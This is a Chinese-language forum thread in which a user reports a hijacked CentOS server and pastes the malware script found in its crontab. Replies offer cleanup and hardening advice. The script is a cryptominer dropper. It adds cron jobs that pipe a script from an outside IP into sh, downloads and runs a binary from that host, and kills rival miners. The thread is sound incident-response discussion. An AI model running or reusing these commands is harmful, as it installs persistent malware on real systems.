V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Distributions
Ubuntu
Fedora
CentOS
中文资源站
网易开源镜像站
IntFloat
V2EX  ›  Linux

服务器异常,被挂脚本.请问后续如何尽量保持正常使用?

  •  
  •   IntFloat · 2018-07-31 16:29:28 +08:00 · 5825 次点击
    这是一个创建于 2308 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今天接到阿里短信提醒服务器有异常,登陆发现 cup 占用 100%。于是查看看 crontab 发现有个异常定时任务下载执行某段 sh。地址如下: http://149.56.106.215:8000/i.sh ,目前已经修改账户密码,删除定时任务,kill 异常程序,看进程展示正常了。请问接下来可以做什么操作尽量保证服务器正常运行。

    • 服务器系统:centos 7

    • 附上脚本:

    export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
    
    echo "" > /var/spool/cron/root
    echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
    echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
    
    mkdir -p /var/spool/cron/crontabs
    echo "" > /var/spool/cron/crontabs/root
    echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
    echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
    
    ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
    if [ ! -f "/tmp/ddgs.3013" ]; then
        wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
        curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
    fi
    chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
    
    ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
    ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
    #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
    #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
    
    16 条回复    2018-08-01 09:10:33 +08:00
    whatever93
        1
    whatever93  
       2018-07-31 17:03:56 +08:00   ❤️ 1
    ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
    if [ ! -f "/tmp/ddgs.3013" ]; then
    wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
    fi

    从这段下手
    /tmp/ddgs.3013 这个文件应该是主要的耗 cpu 文件
    所以先删除他的文件 /tmp/ddgs.3013
    rm -f /tmp/ddgs.3013
    然后创建一个
    touch /tmp/ddgs.3013
    赋予不允许删除、添加、修改的权限
    chattr +i /tmp/ddgs.3013
    dorothyREN
        2
    dorothyREN  
       2018-07-31 17:05:17 +08:00   ❤️ 1
    清理完以后重装系统。
    whatever93
        3
    whatever93  
       2018-07-31 17:14:23 +08:00   ❤️ 1
    然后 systemctl stop crond 先停止计划任务
    清除脚本写的定时任务
    查看~/.ssh/authorized_keys 里有没有异常的 key 清除掉
    改密码 加防暴力破解 我自己用 fail2ban
    metrxqin
        4
    metrxqin  
       2018-07-31 17:20:18 +08:00   ❤️ 1
    调查下脚本怎么注入的。
    jimmyczm
        5
    jimmyczm  
       2018-07-31 17:22:09 +08:00   ❤️ 1
    修改 ssh 的默认端口
    defunct9
        6
    defunct9  
       2018-07-31 17:22:32 +08:00   ❤️ 1
    开 ssh,让我上去看看
    IntFloat
        7
    IntFloat  
    OP
       2018-07-31 17:40:56 +08:00
    @whatever93 感谢细致的回复,已经按您的方法清理了。希望不会有残留了
    @dorothyREN 有些环境配置太繁琐了
    @metrxqin 可能是账号密码泄露 - -
    @jimmyczm 嗯嗯 新建主机时候已经改了 再改一次
    @defunct9 毕竟是公司的测试服务器
    hfenger
        8
    hfenger  
       2018-07-31 17:53:08 +08:00
    这狗逼的下载服务器炸了吧?我开了一万个线程都没速度啊
    dorothyREN
        9
    dorothyREN  
       2018-07-31 18:03:20 +08:00   ❤️ 1
    @IntFloat 不是繁琐的问题,是谁也不知道服务器上究竟被做了什么手脚,脚本只是你能看到的。所以被入侵以后一般都是查找到原因以后重装系统并修复漏洞
    xiri
        10
    xiri  
       2018-07-31 18:28:54 +08:00 via Android
    @defunct9 #6 😂大哥你又来了
    ywgx
        11
    ywgx  
       2018-07-31 18:53:44 +08:00 via Android
    目测你是 jenkins 机器?
    scukmh
        12
    scukmh  
       2018-07-31 19:05:01 +08:00
    清理完直接重装,没个靠谱运维这是最快的办法。
    cpdyj
        13
    cpdyj  
       2018-07-31 19:16:04 +08:00 via Android
    建议你检查下其他所有可能下钩子的地方,bash,内核,模块,启动脚本,hash 一下 bin 里的东西和其他服务器对比下。。

    其实建议还是重装系统,最暴力的方法
    leakless
        14
    leakless  
       2018-08-01 00:49:31 +08:00
    被人拿来挖矿了好吧。。。
    上面这分析一堆就没有想到这是挖矿的吗。。。
    p.s. 想啥呢啊 找人看看是不是你们的系统有洞被人日了 然后服务器赶紧重装。。。
    johnnie502
        15
    johnnie502  
       2018-08-01 08:48:10 +08:00
    不重装是等着过年呢
    lieh222
        16
    lieh222  
       2018-08-01 09:10:33 +08:00
    格式化,重装,把业务用 docker 部署,数据不值钱的话随便攻击
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   6064 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 02:44 · PVG 10:44 · LAX 18:44 · JFK 21:44
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.